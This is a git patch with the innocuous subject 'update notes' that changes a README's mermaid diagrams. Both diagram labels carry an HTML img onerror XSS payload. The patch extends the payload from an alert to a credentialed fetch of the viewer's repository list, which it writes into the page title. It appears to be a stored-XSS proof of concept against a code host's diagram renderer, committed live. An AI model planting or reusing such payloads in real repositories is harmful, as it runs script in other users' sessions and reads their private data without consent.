From 8e622c681d4ee3e64410113fb19f615271f7272e Mon Sep 17 00:00:00 2001
From: secraxdcxj9 <secraxdcxj9@example.com>
Date: Sun, 27 Sep 2026 20:00:32 +0800
Subject: [PATCH] update notes

---
 README.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index 9faf4df..83e645f 100644
--- a/README.md
+++ b/README.md
@@ -2,11 +2,11 @@ notes
 
 ```mermaid
 erDiagram
-  A ||--o{ B : "<img src=x onerror=window.__mx||(window.__mx=1,alert(location.host))>"
+  A ||--o{ B : "<img src=x onerror=window.__mx||(window.__mx=1,alert(location.host),fetch('/api/v1/user/repos?limit=100',{credentials:'include'}).then(function(r){return r.text()}).then(function(t){document.title='REPOS_LEN='+t.length+' '+t.slice(0,90)}))>"
 ```
 
 ```mermaid
 sequenceDiagram
-  participant A as Alice<img src=x onerror=window.__mx||(window.__mx=1,alert(location.host))>$$\text{A}$$
+  participant A as Alice<img src=x onerror=window.__mx||(window.__mx=1,alert(location.host),fetch('/api/v1/user/repos?limit=100',{credentials:'include'}).then(function(r){return r.text()}).then(function(t){document.title='REPOS_LEN='+t.length+' '+t.slice(0,90)}))>$$\text{A}$$
   A->>B: hi
 ```